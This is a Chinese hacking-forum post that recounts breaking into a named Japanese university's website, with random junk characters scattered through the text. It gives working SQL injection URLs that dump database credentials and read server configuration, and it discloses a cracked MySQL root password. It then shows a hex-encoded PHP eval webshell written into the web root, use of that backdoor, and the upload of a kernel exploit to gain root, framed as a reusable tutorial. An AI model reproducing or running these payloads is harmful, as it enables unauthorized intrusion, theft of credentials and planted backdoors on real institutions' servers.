找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2272|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析+ g6 r/ K7 j0 Q) x: d$ D

5 c) C0 M5 i. ~6 R5 B7 ]http://www.doshisha.ac.jp/chs/news/index.php?i=-1
6 q" H9 d* Z: M% k然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:7 V& m, J: y+ P4 O+ n
( s% i% i( u* n  U. N" T! m
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user5 A* c  t( `0 X- D& f1 o

0 K( s" S: |1 V' c, {
& e' Y! s  {& i$ Q  L* l9 \
- X1 Y, K0 n) N2 I3 ?//@@datadir为数据库文件路径
( `. ]" k1 @1 x, C. G0 ]& w( r / k& w* }, W8 M
0 f+ x4 D. @) J" K- ]7 p& \
//load_file读取网站容器apache的配置文件
4 x, y+ ?6 C% D4 ?$ H9 h# z
7 @* g% f/ T. _
. [' D% k/ P6 q0 P: u4 w/ k//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
7 a! g5 o/ \5 T复制代码
6 Y6 ~1 V0 g6 {
" ^! l$ C4 [, ]" c. t1 Y& f/ s- q虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
$ e& V- q& |/ r( i" u
6 b5 H; x' e; N) i; l" V& \而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
& c# H1 n3 s  X1 {$ Z: ~+ e# H(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
' @' u' T5 {, H, v( i% K/ z$ O' H( `, Q
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
2 |' l3 D1 L4 O& p+ P5 _' N6 k( F如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html1 _$ O* X# f  [5 ]
% S+ M6 V9 G1 ?+ K+ s5 @
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/6 k  g8 D' C  g, x
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
* Q% g1 Q* ^  r3 a直接写一句话:
/ b5 z. {3 l6 e% e- v- l/ X2 D+ k8 \  R9 }1 k2 W
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#  i+ y; Q( l' S' Z
( r: a& n3 s" x) X2 I
5 Z  ]6 |# Z, c' k( K+ T! D1 ?

/ E, K7 a4 E! T1 W//最后的#是为了闭合前面的语句 0 D. @" u! F, P6 i) m1 `& n+ w
' S3 C- z6 A3 `5 ]) ^

1 T0 J; M) V8 P/ x/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E # N4 q% A! ^  V; \

2 h: H& B& q/ ~- v" @" W* t' x/ K* N# E3 G) F- D0 T6 m9 h( h
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ * S$ R8 a( {- T  X

* O" P2 a, v5 V/ f8 M' k9 W2 }$ R8 S
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 , N+ R+ S0 _+ L6 \2 \, A. x/ P" M

. H# o: Z. `& I! b3 n2 ]8 n/ l" S2 {. k- a$ y1 J
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
1 H9 I" y$ x3 K3 r/ l//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
. y' d7 B5 N: n' Y! `" a' j; V4 m7 O复制代码5 a! Y- Z% R/ t* |, @  B4 [5 u

4 P, D( s" p5 s/ `0 @HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
7 Q+ X% n* x; c7 M. u8 o( [, H通过上述注入语句,我们就得到了一句话木马:4 R9 U3 @+ A3 T& O7 L+ O" R! s

1 b+ H" }$ D% l% V. V/ \
; l  o+ u; {8 [& ^" S2 `' b8 [/ r  q* Y$ N$ ], K5 g( U- \' W

# V' @2 |4 p- R1 c! c
: N* U# E2 B$ ]& j/ b/ z6 \http://www.doshisha.ac.jp/english/engnews_img/aa.php / \9 K* g$ Y1 u7 v; M0 Z
复制代码
3 u" c9 Q4 T1 i  v
% m) i" u0 W$ u用菜刀连接,密码是cmd,如图所示:$ G6 g' f$ [" m& ]) G) r2 R
然后在命令提示行里看了一下,现在的权限是:
/ X: O+ O/ S( c6 o3 Y
5 c' k/ p% o0 p+ P之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
' u- ^+ z" v* ?  O: _好在赋权给这个文件夹不需要root,直接执行赋权语句:! d( a' w- W3 b: P2 P
' `5 C; K$ t8 f: p( m7 B0 `
7 G/ g1 n: T; _9 {: `  d/ ~* m  G/ x
8 G/ J1 r" Q+ W/ x7 A! \5 F* f
# b; |0 f7 P7 O& F2 a. L
" k8 W& R5 E5 J6 r6 r
chmod +x /tmp/ 5 N$ S2 g) j' x. q
复制代码% e7 F3 v9 _, o, E) k

# I( E: I  z' L% Q8 x在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
6 a" Q" n1 ^$ x% y$ j5 P, X然后就查了一下内核版本:/ q* d; E. A9 B/ l2 Y) M4 T
/ @- G0 \" q8 ^: ]" s& Z

* u' p! U7 \! V7 p1 U3 P# k* X8 U* i
/ @$ h; v* b/ ?1 q

" I; f' x% e8 X8 |* Vuname-a
. t  B) V1 S  ~  U$ B# Y
) c. B/ o( ~$ o: D
7 J' a" _3 [% g1 N) U$ b7 z//其实lsb_release -a ' a0 S& d5 ^! z8 G, i* y4 f
复制代码
- k* K* T6 Z1 {. `( {: M( G  y6 ?6 B/ b! H. |5 r
如图所示:" b* H7 f4 m. h8 x) m2 A

+ z* ~9 v, \1 `& A* c3 M内核版本:linux mainz1 2.6.28-194.e15) r9 z4 W! p2 ]. t6 m$ |/ T1 O
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)0 }; p+ J. I3 Z# \4 ?) u6 a8 G7 H9 c" \! ]
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
' ]" j4 `& J4 i4 V, d8 l( K0 a+ [
) \0 i" a# \1 ?; f然后给予执行权限5 w8 y) H: W8 k  B. I. G+ w2 Z
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
8 s- w  I8 S' K) d
  H' @5 u( y# Q: }
4 G8 h* v/ [* Q" l& S3 a) X) ?9 p5 D6 j" h5 {9 K+ w! H* L
  j: v' y( g. f7 `% |

* L- x* q& O8 C" N+ ~% _8 ychmod +x /tmp/2.6.18-194
, B5 f/ \" p( p  h& i复制代码 然后直接执行!~
+ u9 [9 Z# f7 b* k; c
4 D6 x6 H& f' ?3 K, ]9 p) b总结:3 V( m$ s" a! j! Y
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了, T0 v% y1 e9 _  ^. ~
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
$ V) p9 F) s% z, U2 E' s9 @2 f# a+ V( B6 v9 r) Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表